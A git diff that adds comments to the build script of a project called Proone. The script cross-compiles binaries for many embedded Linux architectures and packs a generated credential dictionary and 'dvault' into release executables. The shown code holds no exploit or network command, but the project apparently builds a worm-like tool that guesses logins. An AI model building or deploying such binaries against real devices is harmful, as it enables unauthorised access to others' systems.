diff options
Diffstat (limited to 'scripts/build-all.sh')
-rwxr-xr-x | scripts/build-all.sh | 40 |
1 files changed, 35 insertions, 5 deletions
diff --git a/scripts/build-all.sh b/scripts/build-all.sh index 038c124..61e749f 100755 --- a/scripts/build-all.sh +++ b/scripts/build-all.sh @@ -1,6 +1,15 @@ #!/bin/bash -set -e +## \file +# \brief Build all target arches specified and native tools necessary for +# fabrication of executables. You'll use this script a lot! +# \note xcomp is required for this script to function. +set -e # die on error +## +# \note \c ARCH_ARR, \c TOOLCHAIN_ARR and \c HOST_ARR form tuples of target +# arches. \c ARCH_ARR lists the name of the arches to be used for the output +# files(suffix). \c TOOLCHAIN_ARR lists the \b xcomp targets for each arch. +# \c HOST_ARR is the list of the toolchain prefixes. ARCH_ARR=( # "aarch64" "armv4t" @@ -37,6 +46,7 @@ HOST_ARR=( "powerpc-linux" "sh4-linux" ) +# Length check. All three arrays must have the same number of elements. ARR_SIZE="${#ARCH_ARR[@]}" if [ $ARR_SIZE -ne "${#TOOLCHAIN_ARR[@]}" ] || [ $ARR_SIZE -ne "${#HOST_ARR[@]}" ]; @@ -45,21 +55,37 @@ then exit 2 fi +# The root prefix. Note that the script is run from the project root directory. PROONE_PREFIX="builds" +# The prefix to debug symbol files PROONE_DEBUG_SYM_DIR="$PROONE_PREFIX/debug" +# The prefix to Proone executables PROONE_EXEC_DIR="$PROONE_PREFIX/proone.bin" +# The prefix to native tools PROONE_TOOLS_DIR="$PROONE_PREFIX/tools" +# The prefix to miscellaneous executables for target PROONE_MISC_BIN_DIR="$PROONE_PREFIX/misc" +# The name of the directory for release build Proone executables PROONE_REL_DIR="$PROONE_PREFIX/proone" +# The prefix to debug symbol files export PROONE_DEBUG_SYM_PREFIX="$PROONE_DEBUG_SYM_DIR/" +# The prefix to all stripped executables export PROONE_EXEC_PREFIX="$PROONE_EXEC_DIR/stripped" +# The prefix to the original Proone executable output by the compiler export PROONE_ENTIRE_PREFIX="$PROONE_EXEC_DIR/entire" +# The prefix to the disassembler output export PROONE_ASM_PREFIX="$PROONE_EXEC_DIR/asm" +# The prefix to the readelf output export PROONE_READELF_PREFIX="$PROONE_EXEC_DIR/readelf" +# The prefix to the miscellaneous executables export PROONE_MISC_BIN_PREFIX="$PROONE_MISC_BIN_DIR/" +# The prefix to the names of the release build Proon executables PROONE_REL_PREFIX="$PROONE_REL_DIR/proone" +# The path to the cred dict binary file PROONE_CDICT="$PROONE_PREFIX/cred_dict.bin" +# The path to the dvault binary file PROONE_DVAULT="$PROONE_PREFIX/dvault.bin" +# The array of the native tools PROONE_TOOLS=" proone-pack proone-list-arch @@ -68,7 +94,9 @@ PROONE_TOOLS=" proone-ipaddr-arr " +################################################################################ +# Drop the root directory and set up the skeleton rm -rf "$PROONE_PREFIX" mkdir\ "$PROONE_PREFIX"\ @@ -77,27 +105,29 @@ mkdir\ "$PROONE_TOOLS_DIR"\ "$PROONE_MISC_BIN_DIR"\ "$PROONE_REL_DIR" +# Ignore the clean up error because the project may not have been configured set +e make distclean set -e -# native build for tools +# Build native tools ./configure $PROONE_AM_CONF make -j$(nproc) -C src $PROONE_TOOLS for t in $PROONE_TOOLS; do cp -a "src/$t" "$PROONE_TOOLS_DIR" done +# Copy the test suites as well cp -a "./src/run-tests.sh" "./src/testlist" "$PROONE_MISC_BIN_DIR" make distclean -# generate dvault +# Generate dvault and cred dict binary "$PROONE_TOOLS_DIR/proone-mkcdict"\ "./src/proone_conf/cred_dict.txt"\ "$PROONE_CDICT" "$PROONE_TOOLS_DIR/proone-mkdvault" "$PROONE_CDICT" > "$PROONE_DVAULT" DVAULT_SIZE=$(stat -c "%s" "$PROONE_DVAULT") -# cross-compile targets +# Build all targets for (( i = 0; i < ARR_SIZE; i += 1 )); do PROONE_BIN_OS="linux"\ PROONE_HOST="${HOST_ARR[$i]}"\ @@ -107,7 +137,7 @@ for (( i = 0; i < ARR_SIZE; i += 1 )); do "scripts/build-arch.sh" done -# pack +# Do pack "$PROONE_TOOLS_DIR/proone-pack"\ "$PROONE_REL_PREFIX"\ "$PROONE_DVAULT"\ |